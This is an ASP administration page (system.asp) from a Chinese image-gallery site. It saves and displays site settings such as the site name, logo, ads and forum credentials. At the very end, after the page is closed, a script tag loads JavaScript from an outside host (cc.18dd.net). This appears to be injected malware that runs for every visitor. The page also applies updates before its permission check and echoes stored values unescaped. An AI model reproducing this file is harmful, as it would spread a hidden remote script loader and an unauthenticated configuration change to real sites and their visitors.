📄 system.asp
字号:
<!--#include file="conn.asp"-->
<!--#include file="check.asp"-->
<!--#include file="web.asp"-->
<%
if request("style")="update" then
webname=request("webname")
url=request("url")
mail=request("mail")
align="left"
adPic=request("adPic")
adUrl=request("adUrl")
logoUrl=request("logoUrl")
addable=request("addable")
rightMenu=request("rightMenu")
picWidth=cint(request("picWidth"))
picHeight=cint(request("picHeight"))
bbsUrl=request("bbsUrl")
bbsUser=request("bbsUser")
bbsPass=request("bbsPass")
rec=cint(request("rec"))
recY=cint(request("recY"))
hot=cint(request("hot"))
hotY=cint(request("hotY"))
news=cint(request("new"))
newY=cint(request("newY"))
sql="select * from config"
set rs=server.createobject("adodb.recordset")
rs.open sql,conn,1,3
rs("webname")=webname
if url="" then
rs("url")="#"
else
rs("url")=url
end if
if logoUrl="" then
rs("logoUrl")="pic/netout_logo.gif"
else
rs("logoUrl")=logoUrl
end if
if mail="" then
rs("mail")="ingen@etang.com"
else
rs("mail")=mail
end if
rs("align")=align
if adPic="" then
rs("adPic")="pic/zhaopin.gif"
else
rs("adPic")=adPic
end if
if adUrl="" then
rs("adUrl")="http://www.artloo.com/bbs/dispbbs.asp?boardID=10&ID=3750"
else
rs("adUrl")=adUrl
end if
if addable=1 then
rs("addable")=True
else
rs("addable")=False
end if
rs("rightMenu")=rightMenu
rs("bbsUrl")=bbsUrl
rs("bbsUser")=bbsUser
rs("bbsPass")=bbsPass
rs("picWidth")=picWidth
rs("picHeight")=picHeight
rs("ShowCount")=rec&","&recY&","&hot&","&hotY&","&news&","&newY
rs.update
rsclose
Response.Write("<script language=javascript>alert('修改成功．请返回！');window.location.replace('system.asp')</script>")
end if
%>
<html>
<head>
<title>系统设置</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="../style/css.css" rel="stylesheet" type="text/css">
</head>
<body topmargin="0">
<%
if session("flag")>0 then
Response.Write("<br><br><br><center>对不起。你没有权限进入此页面！！！</center>")
Response.end
end if
%>
<table width=460 height="384" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="1" align="center"><br> </td>
<td width="481" valign="top">
<form name="form1" method="post" action="system.asp?style=update">
<%
sql1="select * from [config]"
set rs=server.CreateObject("Adodb.recordset")
rs.open sql1,conn,1,1
%>
<table width="459" height="255" border="0" cellpadding="0" cellspacing="0">
<tr align="center">
<td height="30" colspan="2"><strong>系统设置</strong></td>
</tr>
<tr>
<td width="76" height="28">网站名称</td>
<td width="330"><input name="webname" type="text" id="webname" value="<%if not rs.eof then%><%=rs("webname")%><%end if%>" size="45"></td>
</tr>
<tr>
<td height="28">网站地址</td>
<td><input name="url" type="text" id="url" value="<%if not rs.eof then%><%=rs("url")%><%end if%>" size="45"></td>
</tr>
<tr>
<td height="28">网站logo</td>
<td><input name="logoUrl" type="text" id="url2" value="<%if not rs.eof then%><%=rs("logoUrl")%><%end if%>" size="45">
</td>
</tr>
<tr>
<td height="28">广告图片</td>
<td><input name="adPic" type="text" value="<%if not rs.eof then%><%=rs("adPic")%><%end if%>" size="45">
</td>
</tr>
<tr>
<td height="28">广告连接</td>
<td><input name="adUrl" type="text" value="<%if not rs.eof then%><%=rs("adUrl")%><%end if%>" size="45"></td>
</tr>
<tr>
<td height="28">站长信箱</td>
<td><input name="mail" type="text" id="mail" value="<%if not rs.eof and rs("mail")<>"ingen@etang.com" then%><%=rs("mail")%><%end if%>" size="45"></td>
</tr>
<tr>
<td height="28">论坛变量<br>
接收地址</td>
<td><input name="bbsUrl" type="text" value="<%if not rs.eof then%><%=rs("bbsUrl")%><%end if%>" size="45"></td>
</tr>
<tr>
<td height="28">用户变量</td>
<td><input name="bbsUser" type="text" value="<%if not rs.eof then%><%=rs("bbsUser")%><%end if%>" size="10">
密码变量
<input name="bbsPass" type="text" value="<%if not rs.eof then%><%=rs("bbsPass")%><%end if%>" size="10"></td>
</tr>
<tr>
<td height="28" valign="top"> 图片属性</td>
<td> 宽： <input name="picWidth" type="text" id="picWidth" size="6" value="<%=rs("picWidth")%>">
高：
<input name="picHeight" type="text" id="picHeight" size="6" value="<%=rs("picHeight")%>">
<br>
最新推荐显示
<input name="rec" type="text" id="rec" value="<%if not rs.eof then%><%=ShowCount(0)%><%end if%>" size="8">
张，是否显示简介 <input name="recY" type="checkbox" id="recY" value="1" <%if cint(ShowCount(1))=1 then%>checked<%end if%>>
<br>
热门图片显示
<input name="hot" type="text" id="hot" value="<%if not rs.eof then%><%=ShowCount(2)%><%end if%>" size="8">
张，是否显示简介
<input name="hotY" type="checkbox" id="hotY" value="1" <%if cint(ShowCount(3))=1 then%>checked<%end if%>> <br>
最新加入显示
<input name="new" type="text" id="new" value="<%if not rs.eof then%><%=ShowCount(4)%><%end if%>" size="8">
张，是否显示简介
<input name="newY" type="checkbox" id="newY" value="1" <%if cint(ShowCount(5))=1 then%>checked<%end if%>> </td>
</tr>
<tr>
<td height="28"> 鼠标设置</td>
<td>右键显示分类
<select name="rightMenu" style="width: 83px">
<option value="toYes" <%if not rs.eof and rs("rightMenu")="toYes" then%>selected<%end if%>>显示</option>
<option value="toNo" <%if not rs.eof and rs("rightMenu")="toNo" then%>selected<%end if%>>不显示</option>
</select> </td>
</tr>
<tr>
<td height="28">会员注册</td>
<td><select name="addable" id="addable">
<option value="1" <%if rs("addable") then%>selected<%end if%>>开放</option>
<option value="0" <%if not rs("addable") then%>selected<%end if%>>不开放</option>
</select></td>
</tr>
<tr>
<td height="28"> </td>
<td><input type="submit" name="Submit" value="设置">
<input type="button" name="Submit2" value="取消" onClick="javascript:history.back();">
</td>
</tr>
<tr>
<td colspan="2"><p><font color="#FF00FF">图片类型：gif，jpg，swf；</font><font color="#FF0000"><br>
<font color="#FF6600">Logo图片大小为：宽小于等于169，高等于60；</font> <br>
广告图片大小为：宽小于等于505，高等于60；<br>
<font color="#CC6600">如果是相对地址，则相对于首页。建议使用绝对地址。</font></font><br>
<font color="#CC3300">图片属性中，如果需显示简介，则显示张数为2的倍数；否则为4的倍数。</font></p></td>
</tr>
</table>
</form></td>
</tr>
<tr>
<td> </td>
<td><div align="center"><a href="../index.asp" target="_blank" class="black">查看效果</a></div></td>
</tr>
</table>
</body>
</html>
<%
rsclose()
ConnClose()
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -